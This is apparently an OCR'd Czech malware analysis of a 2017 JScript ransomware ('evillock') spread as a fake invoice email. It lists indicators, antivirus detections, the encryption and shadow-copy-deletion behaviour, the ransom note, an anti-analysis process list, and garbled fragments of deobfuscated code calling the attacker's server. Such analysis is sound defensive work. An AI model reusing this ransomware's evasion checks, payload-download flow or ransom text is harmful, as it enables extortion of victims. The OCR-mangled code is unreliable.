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JScript Ransomware RPG

Dne 27. 1. 2017 doglo v Ceské republice k hromadnému rozesilani emailu s maligni pfilohou. Jednalo
se o email spredmétem ,faktura a seznam vyrobku“, ktery byl odesilan z emailové adresy
urbanowicz@grupaekoinstal.pl, tvafici se jako Radomir Bures jednatel spolecnosti RPG Recycling
s.r.o. Tato spole¢nost skutecné existuje a uto¢nik zneuzil jeji identity. Email byl odesilan z polského
emailového serveru afil00.rev.netart.pl (77.55.138.100). K emailu byl pfiloZzen komprimovany
soubor sndzvem FakturaN782.rar, ktery obsahoval skript typu JScript pojmenovany jako
FakturaN782.jse. Po analyze viz. nize bylo zjisténo, Ze se jednd o skript typu ransomware.
Zasifrované soubory maiji pfiponu .evillock. Utoénik poZaduje ¢astku 0.3 BTC za deSifrovani soubord.

FakturaN782.rar
Md5: 084d49c26e1f108ace32fcf9b9453897

Dne 27. 1. byl soubor detekovan pouze témito antiviry:

Ad-Aware Trojan.Script.Agent.KM 20170127
Arcabit Trojan.Script.Agent.KM 20170127
BitDefender Trojan.Script.Agent.KM 20170127

ESET-NOD32 JS/TrojanDownloader.Nemucod.CBW 20170127
Emsisoft Trojan.Script.Agent.KM (B) 20170127

F-Secure Trojan.Script.Agent.KM 20170127
GData Trojan.Script.Agent.KM 20170127
Sophos Mal/DrodAce-A 20170127

Zminky na internetovych portalech:

e www.zive.cz/poradna/ransomware-evillock-vypalne-03-btc/sc-20-cq-
599284/default.aspx?consultanswers=1

o Diskuze, kdy doslo k zasifrovani souborud jednoho z Gcastniki

e www.lokalhost.pl/txt/newest addition to happy family kbot.17.05.2015.txt
o Analyza polského CERT tymu z roku 2015, jednalo se o skript, ve kterém byly pouzity

podobné ¢asti kddu a IP adresa ze stejného rozsahu. Nejspise se tedy jednalo o
stejné utocniky jako v jejich pripadé. Byl to KBOT od skupiny Carberp leak.

e  http://www.hoax.cz/malware/rpg---faktura-a-seznam-vyrobku-20170127/
o Analyza emailu
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Analyza

Nazev: FakturaN782.jse

Typ: JScript

Druh: Ransomware

Maskovani: Kédovani a obfuskace
Server: 217.28.218.210:4433

V ptipadé chyby ve vykonavani skriptu dojde k opétovnému pokusu o provedeni po urcité dobé.
Maximalni limit je nastaven na 3 minuty. Po restartu by se v3ak jiz skript vykondvat nemél.

Funkce:
- Po spusténi skriptu dojde k zobrazeni chybového hlaseni "The file cannot be opened."
- Vytvoreni hash hodnoty (9 ciselnych znak) - uid
- UloZeni verze OS a seznamu vsech béZicich procesl
- Kontrola zda nejsou spustény procesy nastroju pro analyzu
- Odeslani verze OS a seznamu béZicich procest na utocniklv server
- StaZeni .exe souboru
- Prochazeni souborl ve sloZce uZivatelova profilu pfipojenych discich v pocitadi
- Zasifrovani vsech nalezenych soubord pomoci stazeného .exe souboru
- Odstranénivsech "Shadow copy" ze systému (Zalohy)
- Vytvoreni a zobrazeni html souboru, ktery obsahuje instrukce pro desifrovani soubord
- Smazani skriptu a v3ech jeho soucasti.

Typy soubort, které jsou vyhledany a nasledné Sifrovany:

*.doc *.xIs *.pub *.odt *.ods *.odp *.odm *.odc *.odb *.wps *.xlk *.ppt *.mdb *.accdb *.pst *.dwg
*.dxf *.dxg *.wpd *.rtf *.wb2 *.mdf *.dbf *.psd *.pdd *.eps *.ai *.indd *.cdrimg_ *.jpg *.dng *.3fr
*.arw *.srf *.sr2 *.bay *.crw *.cr2 *.dcr *.kdc *.erf *.mef *.mrw *.nef *.nrw *.orf *.raf *.raw *.rwl
*rw2 *.r3d *.ptx *.pef *.srw *.x3f *.der *.cer *.crt *.pem *.pfx *.p12 *.p7b *.p7c *.backup *.cpp

* java *.php *.sq *.zip

Text html souboru s instrukcemi:

Hello.

Your ID: uidhere

As you can see some of your files have been encrypted!

Encryption was made using a unique strongest AES key.

If you want restore your files you need to BUY the key, it costs 0.3 BTC.

Send me your ID to <b style="color:red">emailhere</b>

Just google how to buy bitcoins in your country. You have only 3 days to deadline!
After, your key will be deleted!

List of encrypted files

P.S. | can decrypt one encrypted file as evidence that there is decrypt
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Demaskovani

Skript byl obfuskovan a ndsledné zakédovan programem Microsoft Script Encoder. Pro dekédovani
byl pouzit program scrdec18-VC8.exe.
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Zakdédovana podoba skriptu

8034\ uBa35\uBPe36 {

Dekddovana obfuskovand podoba skriptu

Obfuskace byla provedena formou spojovani vystupl zfunkci. Textové fetézce byly zapsany
v unicode podobé. Nékterad pismena byla generovana z dalsich funkci, kdy ndvratova hodnota funkce
byla ,true” a dalsi funkci se vyfizlo pouze pismeno ,r“. Dale byla z jednotlivych pismen skladana
napriklad funkce charCodeAt(), ktera vratila konkrétni jeden znak. Vysledny kéd tak mél pres 6000
radkl a po deobfuskaci pouze néco pres 260. Deobfuskovani Slo jednoduse provést s vyuZitim
pythonu a hromadného nahrazovani textu v programu PsPad.
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Rozbor zdrojového kédu
Cyklus pro vytvoreni hashe. V proménné uidhere byl uloZzen fetézec skladajici se z cesty ke sloZce
'Temp' a 'Po spusténi'. Vysledkem bylo 9mistné Cislo.

uidhere:

C:\Users\xxx\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\StartupC:\Users\xxx\App
Data\Local\Temp

(icount = @; icount < uidhere[length]; icount++) {
hashhere = ((({hashhere (3 + 2)) - hashhere) + uidhere[charcodeat](icount})

Ziskani verze operacniho systému v podobé Microsoft Windows 7 Professional 6.1.7601 a seznamu
vSech béZicich procesl spojenych do jednoho fetézce v podobé:
svchost.exe*C:\\Windows\system32\svchost.exe*NT AUTHORITY | SYSTEM)

i

obuMT
anhonou
anhonourol

( 'anhonouro

anhonour0Org92[ "item’]()[ 'Caption’] anhonour0rgg2[ "item"]()[ "Version'];
105

odyll1[ 'executablePath']+'*'+ anbesmeareds o & anbesme

Kontrola zda nejsou spustény monitorovaci nastroje Wireshark, iexplore.exe, ProcessHacker,
vmtoolsd, VBoxService, python, Proxifier.exe, Johnson-PC, ImmunityDebugger.exe.
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Vytvoreni spojeni se serverem a odeslani vypoutaneho hashe v proménné uid.
ActXN(Ms serverXMLHTTP) "tnptlun]t—
anJudgement "https 8.218:44 cket.php?add=theprota stofthestoryisfridoling’

Math[floor] (Math[random] (206 1) &uic Math[abs] (hashhere) & ' +icount;

’

Odeslani verze operac¢niho systému a seznamu béZicich procest.

serverXMLHTTP) [send] (anstone43 + string.FromCha

Kontrola odpovédi od serveru. Pokud jsou prvni dva znaky ,,MZ“ (hlavicka .exe souboru) tak se
odpovéd ulozi pfimo do souboru .exe do adresare , Temp“, tento soubor je pojmenovan nahodnym
¢islem. Pokud jsou prvni dva znaky jiné, jedna se o odpovéd ve formé Base64, kterd je ulozena do
souboru s ptiponou .hxm, do adresare ,Temp”“. Nasledné je soubor .hxm dekddovan ndstrojem
certutil a uloZen do .exe souboru ve stejné slozce. Tento soubor je nasledné pouzivan pro Sifrovani
soubord.

serverXMLHTTP) [resp
"MZ' fstream
dm[UpEﬂ]QJ;
am[ Type]

{

{anstones48.
objFile
objFile[Wri

v A% -
» open, @);

Vytvoreni seznamu soubori pro desifraci. Skript prochazi slozku uzZivatelova profilu a nasledné
vsechny pripojené disky. Cesty k souboriim si uklada do pomocnych souboru pojmenovanych
encFiles.txt

ystemObject[ 'Drives']))
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Zasifrovani vsech nalezenych soubor(l. V proménné filepath56 je uloZena cesta ke stazenému .exe
souboru. Parametr —e zna&i nejspide encrypt, -p je Sifrovaci kli¢ a —o vystupni soubor. Sifrovaci kli¢ je
predan v hlavicce odpovédi v oddilu , X-Token:“. Zasifrované soubory budou mit pfiponu .evillock.

onseHeader]("

dte]{'cwd',

Po dokonceni Sifrovani dojde k vytvoreni a zobrazeni html souboru na plose uzivatele
pojmenovaného ,HOW-TO-DECRYPT-YOUR-FILES“. Tento soubor obsahuje instrukce pro desifrovani
soubor(, hash uZivatele, email Utoc¢nika a seznam zasifrovanych soubord.

S.HTML"});

ke smazani skriptu i vSech jeho pomocnych soubor.

pt, a | e path

Desifrovani soubort

Se znalosti uZivatelova hashe a dalsSich parametri by se za sprdvného dotazu na server mohlo
dosahnout staZeni Sifrovaciho .exe souboru a navraceni Sifrovaciho klice v hlavi¢ce odpovédi, ktery by
se nasledné poufZil pro desifrovani soubord. Tohle je viak pouze teoretickd Uvaha, ktera nebyla
vyzkousena v praxi.
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